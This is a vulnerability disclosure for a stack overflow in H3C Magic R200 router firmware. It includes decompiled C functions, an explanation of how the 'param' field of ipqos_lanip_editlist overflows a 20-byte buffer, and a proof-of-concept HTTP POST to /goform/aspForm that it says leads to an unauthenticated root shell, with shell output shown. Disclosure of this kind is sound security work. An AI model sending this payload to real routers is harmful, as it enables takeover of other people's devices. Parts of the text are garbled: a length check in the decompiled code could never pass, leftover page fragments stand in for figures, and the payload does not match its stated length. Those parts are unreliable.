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H3C magic R200 R200V200R004L02.bin Stack overflow vulnerability

Overview

- Manufacturer's website information: <https://www.h3c.com/>
- Firmware download address :
https://www.h3c.com/cn/d_202012/1361151_30005_0.htm

Affected version

数字化解决方案领导者

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H3C R200V200R004L02 (仅适用于原先版本为V200系列的设备) 版本及软件说明书

软件名称: H3C R200V200R004L02 (仅适用于原先版本为V200系列的设备) 版本及软件说明书

发布日期: 2020/12/1 10:07:11

下载:

→ [H3C MagicR200V200R004L02 版本说明书.pdf](#)(605.54 KB)

→ [R200V200R004L02.zip](#)(6.13 MB)


软件说明

The figure above shows the latest firmware.

Vulnerability details

```
int __fastcall sub_43B520(int a1)
{
    _BYTE *v2; // [sp+18h] [+18h]
    int v3; // [sp+1Ch] [+1Ch]
    unsigned int v4; // [sp+24h] [+24h]
    char v5[256]; // [sp+2Ch] [+2Ch] BYREF
    char v6[20]; // [sp+12Ch] [+12Ch] BYREF

    memset(v5, 0, sizeof(v5));
    memset(v6, 0, 16);
    strcpy(v5, "param");
    v2 = (_BYTE *)sub_486660(a1, v5, &dword_4997A0);
    v4 = strlen(v2);
    if ( v4 >= 0x00 )
        return -16;
    if ( getElement(v6, v2, ';', 9) == -1 )
        return -1;
    v3 = atoi(v6);
    v2[v4 - strlen(v6) - 1] = 0;
    CFG_Set(0, v3 + 1174933504, v2);
    return 0;
}
```



The diagram illustrates a pointer chain. A red arrow originates from the variable `v5` in the `strcpy` call, points to the `v5` argument in the `sub_486660` call, and then points to the `v2` argument in the `getElement` call. Another red arrow points from the `getElement` call to the `v6` variable in the `atoi` call. The `getElement` call and the `v6` variable are highlighted with a red box.

```

int __fastcall getElement(_BYTE *a1, _BYTE *a2, char a3, int a4)
{
    int i; // [sp+18h] [+18h]
    int v6; // [sp+1Ch] [+1Ch]
    int v7; // [sp+20h] [+20h]
    _BYTE *v8; // [sp+24h] [+24h]

    v7 = 0;
    if ( !a1 )
        return -1;
    if ( !a2 || !*a2 )
        return -1;
    v8 = a2;
    for ( i = 0; i < a4; ++i )
    {
        if ( i > 0 )
            v8 = (_BYTE *)(v7 + 1);
        v7 = strchr(v8, a3);
        if ( !v7 )
        {
            v7 = (int)&v8[strlen(v8)];
            break;
        }
    }
    if ( i >= a4 - 1 )
    {
        v6 = v7 - (DWORD)v8;
        if ( v7 - (int)v8 < 64 ) not more than 64
        {
            memcpy(a1, v8, v6);
            a1[v6] = 0;
            return 0;
        }
        else
        {

```

Parameters in the ipqos_lanip_editlist interface use the getElement function to split strings. The size of V6 is only 20, and the maximum size in the getElement function is limited to 64. The size of the original array has been completely exceeded, resulting in a buffer overflow vulnerability.

Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

1. Use the fat simulation firmware R200V200R004L02.bin
2. Attack with the following POC attacks

```
POST /goform/aspForm HTTP/1.1
Host: 192.168.124.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101
Firefox/101.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 2040
Origin: http://192.168.124.1
DNT: 1
Referer: http://192.168.124.1/dhcpd.asp
Upgrade-Insecure-Requests: 1

CMD=ipqos_lanip_editlist&param=;;;;;;;;;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
```



已超时

The above figure shows the POC attack effect

Finally, you can write exp, which can obtain a stable root shell without authorization

BusyBox v1.2.0 (2019.11.07-05:21+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

```
/ # ls -l
drwxrwxr-x  2 1000      1000      7748 Nov  7  2019 www
drwxr-xr-x 10 *root    root        0 Jan  1  1970 var
drwxrwxr-x  5 1000      1000      49 Nov  7  2019 usr
drwxrwxr-x  3 1000      1000      26 Nov  7  2019 uclibc
lrwxrwxrwx  1 1000      1000        7 Nov  7  2019 tmp -> var/tmp
dr-xr-xr-x 11 *root    root        0 Jan  1  1970 sys
lrwxrwxrwx  1 1000      1000        3 Nov  7  2019/sbin -> bin
dr-xr-xr-x 78 *root    root        0 Jan  1  1970 proc
drwxr-xr-x  9 *root    root        0 Jan  1  1970 mnt
lrwxrwxrwx  1 1000      1000        3 Nov  7  2019/lib32 -> lib
drwxrwxr-x  4 1000      1000     2452 Nov  7  2019 lib
lrwxrwxrwx  1 1000      1000        9 Nov  7  2019/init -> sbin/init
drwxrwxr-x  2 1000      1000        3 Nov  7  2019 home
drwxrwxr-x  2 1000      1000        3 Nov  7  2019 ftproot
drwxr-xr-x 10 *root    root        0 Jan  1  1970 etc
drwxrwxr-x  4 1000      1000     2539 Nov  7  2019 dev
drwxr-xr-x  2 1000      1000     1446 Nov  7  2019 bin
/ #
```